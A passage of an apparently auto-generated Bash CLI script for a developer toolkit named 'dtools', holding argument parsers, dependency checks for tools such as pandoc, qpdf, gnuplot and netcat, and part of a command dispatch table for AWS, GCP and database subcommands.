exit 1 fi ;; --wait-until) if [[ -n ${2+x} ]]; then args['--wait-until']="$2" shift shift else printf "%s\n" "--wait-until requires an argument: --wait-until WAIT_UNTIL" >&2 exit 1 fi ;; --keep) args['--keep']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--url']+x} ]]; then printf "missing required flag: --url URL\n" >&2 exit 1 fi if [[ -z ${args['--name']+x} ]]; then printf "missing required flag: --name NAME\n" >&2 exit 1 fi [[ -n ${args['--shm-size']:-} ]] || args['--shm-size']="2gb" [[ -n ${args['--output']:-} ]] || args['--output']="/output" [[ -n ${args['--behaviors']:-} ]] || args['--behaviors']="autoplay,autofetch,siteSpecific" [[ -n ${args['--wait-until']:-} ]] || args['--wait-until']="load" } dtools_network_mermaid_api_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_network_mermaid_api_usage exit ;; *) break ;; esac done missing_deps= if ! command -v docker >/dev/null 2>&1; then printf "missing dependency: docker\n" >&2 printf "%s\n\n" "Install with 'dtools install docker'" >&2 missing_deps=1 else deps['docker']="$(command -v docker | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="network mermaid-api" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['port']+x} ]]; then args['port']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done [[ -n ${args['port']:-} ]] || args['port']="8087" if [[ -v args['port'] ]]; then validation_output="$(validate_integer "${args['port']:-}")" if [[ -n "$validation_output" ]]; then printf "validation error in %s:\n%s\n" "PORT" "$validation_output" >&2 exit 1 fi fi } dtools_ntfy_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_ntfy_usage exit ;; *) break ;; esac done missing_deps= if ! command -v ntfy >/dev/null 2>&1; then printf "missing dependency: ntfy\n" >&2 printf "%s\n\n" "Ensure ntfy is installed and configured (see 'https://docs.ntfy.sh/install/')" >&2 missing_deps=1 else deps['ntfy']="$(command -v ntfy | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; subscribe) action="subscribe" shift dtools_ntfy_subscribe_parse_requirements "$@" shift $# ;; reference) action="reference" shift dtools_ntfy_reference_parse_requirements "$@" shift $# ;; "") dtools_ntfy_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_ntfy_subscribe_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_ntfy_subscribe_usage exit ;; *) break ;; esac done missing_deps= if ! command -v mpg321 >/dev/null 2>&1; then printf "missing dependency: mpg321\n" >&2 printf "%s\n\n" "Install with 'brew install mpg321'" >&2 missing_deps=1 else deps['mpg321']="$(command -v mpg321 | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="ntfy subscribe" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --sound | -s) if [[ -n ${2+x} ]]; then args['--sound']="$2" shift shift else printf "%s\n" "--sound requires an argument: --sound, -s SOUND" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['topic']+x} ]]; then args['topic']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done [[ -n ${args['topic']:-} ]] || args['topic']="alerts" } dtools_ntfy_reference_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_ntfy_reference_usage exit ;; *) break ;; esac done action="ntfy reference" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_document_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_document_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; convert) action="convert" shift dtools_document_convert_parse_requirements "$@" shift $# ;; merge-pdf) action="merge-pdf" shift dtools_document_merge_pdf_parse_requirements "$@" shift $# ;; decrypt-pdf) action="decrypt-pdf" shift dtools_document_decrypt_pdf_parse_requirements "$@" shift $# ;; "") dtools_document_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_document_convert_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_document_convert_usage exit ;; *) break ;; esac done missing_deps= if ! command -v pandoc >/dev/null 2>&1; then printf "missing dependency: pandoc\n" >&2 printf "%s\n\n" "Install with 'brew install pandoc'" >&2 missing_deps=1 else deps['pandoc']="$(command -v pandoc | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="document convert" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --source-format) if [[ -n ${2+x} ]]; then args['--source-format']="$2" shift shift else printf "%s\n" "--source-format requires an argument: --source-format SOURCE_FORMAT" >&2 exit 1 fi ;; --target-format) if [[ -n ${2+x} ]]; then args['--target-format']="$2" shift shift else printf "%s\n" "--target-format requires an argument: --target-format TARGET_FORMAT" >&2 exit 1 fi ;; --output-file) if [[ -n ${2+x} ]]; then args['--output-file']="$2" shift shift else printf "%s\n" "--output-file requires an argument: --output-file OUTPUT_FILE" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['file']+x} ]]; then args['file']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['file']+x} ]]; then printf "missing required argument: FILE\nusage: dtools document convert FILE [OPTIONS]\n" >&2 exit 1 fi if [[ -z ${args['--source-format']+x} ]]; then printf "missing required flag: --source-format SOURCE_FORMAT\n" >&2 exit 1 fi if [[ -z ${args['--target-format']+x} ]]; then printf "missing required flag: --target-format TARGET_FORMAT\n" >&2 exit 1 fi if [[ ${args['--source-format']:-} ]] && [[ ! ${args['--source-format']:-} =~ ^(bibtex|biblatex|bits|commonmark|commonmark_x|creole|csljson|csv|tsv|djot|docbook|docx|dokuwiki|endnotexml|epub|fb2|gfm|haddock|html|ipynb|jats|jira|json|latex|markdown|markdown_mmd|markdown_phpextra|markdown_strict|mediawiki|man|mdoc|muse|native|odt|opml|org|pod|ris|rtf|rst|t2t|textile|tikiwiki|twiki|typst|vimwiki)$ ]]; then printf "%s\n" "--source-format must be one of: bibtex, biblatex, bits, commonmark, commonmark_x, creole, csljson, csv, tsv, djot, docbook, docx, dokuwiki, endnotexml, epub, fb2, gfm, haddock, html, ipynb, jats, jira, json, latex, markdown, markdown_mmd, markdown_phpextra, markdown_strict, mediawiki, man, mdoc, muse, native, odt, opml, org, pod, ris, rtf, rst, t2t, textile, tikiwiki, twiki, typst, vimwiki" >&2 exit 1 fi if [[ ${args['--target-format']:-} ]] && [[ ! ${args['--target-format']:-} =~ ^(ansi|asciidoc|asciidoc_legacy|asciidoctor|beamer|bibtex|biblatex|chunkedhtml|commonmark|commonmark_x|context|csljson|djot|docbook|docbook5|docx|dokuwiki|epub|epub2|fb2|gfm|haddock|html|html4|icml|ipynb|jats_archiving|jats_articleauthoring|jats_publishing|jats|jira|json|latex|man|markdown|markdown_mmd|markdown_phpextra|markdown_strict|markua|mediawiki|ms|muse|native|odt|opml|opendocument|org|pdf|plain|pptx|rst|rtf|texinfo|textile|slideous|slidy|dzslides|revealjs|s5|tei|typst|xwiki|zimwiki)$ ]]; then printf "%s\n" "--target-format must be one of: ansi, asciidoc, asciidoc_legacy, asciidoctor, beamer, bibtex, biblatex, chunkedhtml, commonmark, commonmark_x, context, csljson, djot, docbook, docbook5, docx, dokuwiki, epub, epub2, fb2, gfm, haddock, html, html4, icml, ipynb, jats_archiving, jats_articleauthoring, jats_publishing, jats, jira, json, latex, man, markdown, markdown_mmd, markdown_phpextra, markdown_strict, markua, mediawiki, ms, muse, native, odt, opml, opendocument, org, pdf, plain, pptx, rst, rtf, texinfo, textile, slideous, slidy, dzslides, revealjs, s5, tei, typst, xwiki, zimwiki" >&2 exit 1 fi } dtools_document_merge_pdf_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_document_merge_pdf_usage exit ;; *) break ;; esac done missing_deps= if ! command -v pdftk >/dev/null 2>&1; then printf "missing dependency: pdftk\n" >&2 printf "%s\n\n" "Install with 'brew install pdftk-java'" >&2 missing_deps=1 else deps['pdftk']="$(command -v pdftk | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="document merge-pdf" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --input-file | -i) if [[ -n ${2+x} ]]; then escaped="$(printf '%q' "$2")" if [[ -z ${args['--input-file']+x} ]]; then args['--input-file']="$escaped" else args['--input-file']="${args['--input-file']} $escaped" fi shift shift else printf "%s\n" "--input-file requires an argument: --input-file, -i INPUT_FILE" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['output-file']+x} ]]; then args['output-file']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['output-file']+x} ]]; then printf "missing required argument: OUTPUT-FILE\nusage: dtools document merge-pdf OUTPUT-FILE [OPTIONS]\n" >&2 exit 1 fi } dtools_document_decrypt_pdf_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_document_decrypt_pdf_usage exit ;; *) break ;; esac done missing_deps= if ! command -v qpdf >/dev/null 2>&1; then printf "missing dependency: qpdf\n" >&2 printf "%s\n\n" "Install with 'brew install qpdf'" >&2 missing_deps=1 else deps['qpdf']="$(command -v qpdf | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="document decrypt-pdf" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --output-file) if [[ -n ${2+x} ]]; then args['--output-file']="$2" shift shift else printf "%s\n" "--output-file requires an argument: --output-file OUTPUT_FILE" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['input-file']+x} ]]; then args['input-file']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['input-file']+x} ]]; then printf "missing required argument: INPUT-FILE\nusage: dtools document decrypt-pdf INPUT-FILE [OPTIONS]\n" >&2 exit 1 fi if [[ -z ${args['--output-file']+x} ]]; then printf "missing required flag: --output-file OUTPUT_FILE\n" >&2 exit 1 fi } dtools_git_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_git_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; search-history) action="search-history" shift dtools_git_search_history_parse_requirements "$@" shift $# ;; "") dtools_git_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_git_search_history_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_git_search_history_usage exit ;; *) break ;; esac done action="git search-history" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['search-string']+x} ]]; then args['search-string']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['search-string']+x} ]]; then printf "missing required argument: SEARCH-STRING\nusage: dtools git search-history SEARCH-STRING\n" >&2 exit 1 fi } dtools_plot_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_plot_usage exit ;; *) break ;; esac done missing_deps= if ! command -v gnuplot >/dev/null 2>&1; then printf "missing dependency: gnuplot\n" >&2 printf "%s\n\n" "See 'http://gnuplot.info/'" >&2 missing_deps=1 else deps['gnuplot']="$(command -v gnuplot | head -n1)" fi if ! command -v loki >/dev/null 2>&1; then printf "missing dependency: loki\n" >&2 printf "%s\n\n" "See 'https://github.com/Dark-Alex-17/loki'" >&2 missing_deps=1 else deps['loki']="$(command -v loki | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="plot" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --file | -f) if [[ -n ${2+x} ]]; then args['--file']="$2" shift shift else printf "%s\n" "--file requires an argument: --file, -f FILE" >&2 exit 1 fi ;; --type | -t) if [[ -n ${2+x} ]]; then args['--type']="$2" shift shift else printf "%s\n" "--type requires an argument: --type, -t TYPE" >&2 exit 1 fi ;; --stack-vertically) args['--stack-vertically']=1 shift ;; --multiplot) args['--multiplot']=1 shift ;; --gui) args['--gui']=1 shift ;; --loki) for conflict in --file --type --stack-vertically --multiplot --gui; do if [[ -n "${args[$conflict]:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 exit 1 fi done args['--loki']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--file']:-} ]] || args['--file']="-" [[ -n ${args['--type']:-} ]] || args['--type']="line" if [[ ${args['--type']:-} ]] && [[ ! ${args['--type']:-} =~ ^(line|bar)$ ]]; then printf "%s\n" "--type must be one of: line, bar" >&2 exit 1 fi filter_error=$(filter_multiplot_requirements) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi filter_error=$(filter_stack_vertically_multiplot_only) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_real_time_plot_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_real_time_plot_usage exit ;; *) break ;; esac done missing_deps= if ! command -v gnuplot >/dev/null 2>&1; then printf "missing dependency: gnuplot\n" >&2 printf "%s\n\n" "See 'http://gnuplot.info/'" >&2 missing_deps=1 else deps['gnuplot']="$(command -v gnuplot | head -n1)" fi if ! command -v wget >/dev/null 2>&1; then printf "missing dependency: wget\n" >&2 printf "%s\n\n" "Install with 'brew install wget' or 'sudo apt install wget'" >&2 missing_deps=1 else deps['wget']="$(command -v wget | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="real-time-plot" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_date_to_epoch_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_date_to_epoch_usage exit ;; *) break ;; esac done action="date-to-epoch" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['timestamp']+x} ]]; then args['timestamp']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['timestamp']+x} ]]; then printf "missing required argument: TIMESTAMP\nusage: dtools date-to-epoch TIMESTAMP\n" >&2 exit 1 fi } dtools_epoch_to_date_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_epoch_to_date_usage exit ;; *) break ;; esac done action="epoch-to-date" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['epoch']+x} ]]; then args['epoch']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['epoch']+x} ]]; then printf "missing required argument: EPOCH\nusage: dtools epoch-to-date EPOCH\n" >&2 exit 1 fi } dtools_date_to_iso_8601_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_date_to_iso_8601_usage exit ;; *) break ;; esac done action="date-to-iso-8601" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['date']+x} ]]; then args['date']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['date']+x} ]]; then printf "missing required argument: DATE\nusage: dtools date-to-iso-8601 DATE\n" >&2 exit 1 fi } dtools_view_markdown_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_view_markdown_usage exit ;; *) break ;; esac done missing_deps= if ! command -v grip >/dev/null 2>&1; then printf "missing dependency: grip\n" >&2 printf "%s\n\n" "Install with 'python3 -m pip install grip'" >&2 missing_deps=1 else deps['grip']="$(command -v grip | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="view-markdown" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['file']+x} ]]; then args['file']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['file']+x} ]]; then printf "missing required argument: FILE\nusage: dtools view-markdown FILE\n" >&2 exit 1 fi } dtools_start_simple_server_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_start_simple_server_usage exit ;; *) break ;; esac done missing_deps= if ! command -v nc >/dev/null 2>&1; then printf "missing dependency: nc\n" >&2 printf "%s\n\n" "Install with 'brew install netcat' or 'sudo apt install netcat'" >&2 missing_deps=1 else deps['nc']="$(command -v nc | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="start-simple-server" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --port) if [[ -n ${2+x} ]]; then args['--port']="$2" shift shift else printf "%s\n" "--port requires an argument: --port PORT" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--port']:-} ]] || args['--port']="8000" if [[ -v args['--port'] ]]; then validation_output="$(validate_port_number "${args['--port']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--port PORT" "$validation_output" >&2 exit 1 fi fi } dtools_fzf_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_fzf_usage exit ;; *) break ;; esac done missing_deps= if ! command -v fzf >/dev/null 2>&1; then printf "missing dependency: fzf\n" >&2 printf "%s\n\n" "Install with 'brew install fzf'" >&2 missing_deps=1 else deps['fzf']="$(command -v fzf | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="fzf" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --pre-processing) if [[ -n ${2+x} ]]; then args['--pre-processing']="$2" shift shift else printf "%s\n" "--pre-processing requires an argument: --pre-processing PRE-PROCESSING" >&2 exit 1 fi ;; --additional-xargs-arguments) if [[ -n ${2+x} ]]; then args['--additional-xargs-arguments']="$2" shift shift else printf "%s\n" "--additional-xargs-arguments requires an argument: --additional-xargs-arguments ADDITIONAL-XARGS-ARGUMENTS" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['command']+x} ]]; then args['command']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done [[ -n ${args['command']:-} ]] || args['command']="vi" } dtools_backup_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_backup_usage exit ;; *) break ;; esac done action="backup" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --move) args['--move']=1 shift ;; --backup-dest) if [[ -n ${2+x} ]]; then args['--backup-dest']="$2" shift shift else printf "%s\n" "--backup-dest requires an argument: --backup-dest BACKUP-DEST" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['item']+x} ]]; then args['item']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['item']+x} ]]; then printf "missing required argument: ITEM\nusage: dtools backup ITEM [OPTIONS]\n" >&2 exit 1 fi if [[ -v args['--backup-dest'] ]]; then validation_output="$(validate_directory_exists "${args['--backup-dest']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--backup-dest BACKUP-DEST" "$validation_output" >&2 exit 1 fi fi } dtools_generate_password_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_generate_password_usage exit ;; *) break ;; esac done missing_deps= if ! command -v openssl >/dev/null 2>&1; then printf "missing dependency: openssl\n" >&2 printf "%s\n\n" "Install with either 'sudo apt install libssl-dev' or 'brew install openssl@3'" >&2 missing_deps=1 else deps['openssl']="$(command -v openssl | head -n1)" fi if ! command -v xclip >/dev/null 2>&1; then printf "missing dependency: xclip\n" >&2 printf "%s\n\n" "Install with 'brew install xclip'" >&2 missing_deps=1 else deps['xclip']="$(command -v xclip | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="generate-password" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --copy-to-clipboard | -c) args['--copy-to-clipboard']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_play_mp3_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_play_mp3_usage exit ;; *) break ;; esac done missing_deps= if ! command -v mpg321 >/dev/null 2>&1; then printf "missing dependency: mpg321\n" >&2 printf "%s\n\n" "Install with 'brew install mpg321'" >&2 missing_deps=1 else deps['mpg321']="$(command -v mpg321 | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="play-mp3" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['sound']+x} ]]; then args['sound']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['sound']+x} ]]; then printf "missing required argument: SOUND\nusage: dtools play-mp3 SOUND\n" >&2 exit 1 fi } dtools_random_int_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_random_int_usage exit ;; *) break ;; esac done action="random-int" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --min) if [[ -n ${2+x} ]]; then args['--min']="$2" shift shift else printf "%s\n" "--min requires an argument: --min MIN" >&2 exit 1 fi ;; --max) if [[ -n ${2+x} ]]; then args['--max']="$2" shift shift else printf "%s\n" "--max requires an argument: --max MAX" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--min']:-} ]] || args['--min']="0" [[ -n ${args['--max']:-} ]] || args['--max']="10" } dtools_random_float_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_random_float_usage exit ;; *) break ;; esac done action="random-float" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --min) if [[ -n ${2+x} ]]; then args['--min']="$2" shift shift else printf "%s\n" "--min requires an argument: --min MIN" >&2 exit 1 fi ;; --max) if [[ -n ${2+x} ]]; then args['--max']="$2" shift shift else printf "%s\n" "--max requires an argument: --max MAX" >&2 exit 1 fi ;; --precision) if [[ -n ${2+x} ]]; then args['--precision']="$2" shift shift else printf "%s\n" "--precision requires an argument: --precision PRECISION" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--min']:-} ]] || args['--min']="0" [[ -n ${args['--max']:-} ]] || args['--max']="10" [[ -n ${args['--precision']:-} ]] || args['--precision']="5" if [[ -v args['--precision'] ]]; then validation_output="$(validate_integer "${args['--precision']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--precision PRECISION" "$validation_output" >&2 exit 1 fi fi } dtools_record_shell_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_record_shell_usage exit ;; *) break ;; esac done missing_deps= if ! command -v asciinema >/dev/null 2>&1; then printf "missing dependency: asciinema\n" >&2 printf "%s\n\n" "Install with 'brew install asciinema'" >&2 missing_deps=1 else deps['asciinema']="$(command -v asciinema | head -n1)" fi if ! command -v agg >/dev/null 2>&1; then printf "missing dependency: agg\n" >&2 printf "%s\n\n" "Install with 'cargo install agg'" >&2 missing_deps=1 else deps['agg']="$(command -v agg | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="record-shell" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --speed) if [[ -n ${2+x} ]]; then args['--speed']="$2" shift shift else printf "%s\n" "--speed requires an argument: --speed SPEED" >&2 exit 1 fi ;; --no-conversion) args['--no-conversion']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['output_file']+x} ]]; then args['output_file']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['output_file']+x} ]]; then printf "missing required argument: OUTPUT_FILE\nusage: dtools record-shell OUTPUT_FILE [OPTIONS]\n" >&2 exit 1 fi [[ -n ${args['--speed']:-} ]] || args['--speed']="1" } initialize() { declare -g version="1.0.0" set -e } run() { declare -g long_usage='' declare -g -A args=() declare -g -A deps=() declare -g -a env_var_names=() declare -g -a input=() declare -g -A unique_lookup=() normalize_input "$@" parse_requirements "${input[@]}" case "$action" in "completions") dtools_completions_command ;; "update") dtools_update_command ;; "ai") dtools_ai_command ;; "ai chat") dtools_ai_chat_command ;; "ai start-llama-server") dtools_ai_start_llama_server_command ;; "ai open-llama-ui") dtools_ai_open_llama_ui_command ;; "ai open-llama-api-docs") dtools_ai_open_llama_api_docs_command ;; "aws") dtools_aws_command ;; "aws login") dtools_aws_login_command ;; "aws console") dtools_aws_console_command ;; "aws shell") dtools_aws_shell_command ;; "aws profile") dtools_aws_profile_command ;; "aws region") dtools_aws_region_command ;; "aws toggle-auto-prompt") dtools_aws_toggle_auto_prompt_command ;; "aws export-sso-creds") dtools_aws_export_sso_creds_command ;; "aws generate-sso-profiles") dtools_aws_generate_sso_profiles_command ;; "aws ec2") dtools_aws_ec2_command ;; "aws ec2 list-instances") dtools_aws_ec2_list_instances_command ;; "aws ssm") dtools_aws_ssm_command ;; "aws ssm start-port-forwarding") dtools_aws_ssm_start_port_forwarding_command ;; "aws ssm start-ngrok-bastion-instance") dtools_aws_ssm_start_ngrok_bastion_instance_command ;; "aws ssm list-parameters") dtools_aws_ssm_list_parameters_command ;; "aws ssm get-parameter") dtools_aws_ssm_get_parameter_command ;; "aws ssm create-parameter") dtools_aws_ssm_create_parameter_command ;; "aws ssm update-parameter") dtools_aws_ssm_update_parameter_command ;; "aws ssm delete-parameter") dtools_aws_ssm_delete_parameter_command ;; "aws secretsmanager") dtools_aws_secretsmanager_command ;; "aws secretsmanager list-secrets") dtools_aws_secretsmanager_list_secrets_command ;; "aws secretsmanager show-secret") dtools_aws_secretsmanager_show_secret_command ;; "aws secretsmanager create-secret") dtools_aws_secretsmanager_create_secret_command ;; "aws logs") dtools_aws_logs_command ;; "aws logs list-log-groups") dtools_aws_logs_list_log_groups_command ;; "aws logs tail-log-group") dtools_aws_logs_tail_log_group_command ;; "aws logs query-log-groups") dtools_aws_logs_query_log_groups_command ;; "aws rds") dtools_aws_rds_command ;; "aws rds list-db-instances") dtools_aws_rds_list_db_instances_command ;; "aws rds fetch-db-connection-details") dtools_aws_rds_fetch_db_connection_details_command ;; "gcp") dtools_gcp_command ;; "gcp login") dtools_gcp_login_command ;; "gcp project") dtools_gcp_project_command ;; "gcp location") dtools_gcp_location_command ;; "gcp get-project-number") dtools_gcp_get_project_number_command ;; "gcp vertex") dtools_gcp_vertex_command ;; "gcp vertex deploy-model") dtools_gcp_vertex_deploy_model_command ;; "gcp vertex predict") dtools_gcp_vertex_predict_command ;; "gcp vertex list-endpoints") dtools_gcp_vertex_list_endpoints_command ;; "gcp vertex tail-endpoint-logs") dtools_gcp_vertex_tail_endpoint_logs_command ;; "gcp artifacts") dtools_gcp_artifacts_command ;; "gcp artifacts list-repositories") dtools_gcp_artifacts_list_repositories_command ;; "gcp artifacts list-images") dtools_gcp_artifacts_list_images_command ;; "db") dtools_db_command ;; "db postgres") dtools_db_postgres_command ;; "db mysql") dtools_db_mysql_command ;; "db bigquery") dtools_db_bigquery_command ;; "elastic") dtools_elastic_command ;; "elastic init") dtools_elastic_init_command ;; "elastic start") dtools_elastic_start_command ;; "elastic stop") dtools_elastic_stop_command ;; "java") dtools_java_command ;; "java set-version") dtools_java_set_version_command ;; "java analyze-with-sonar") 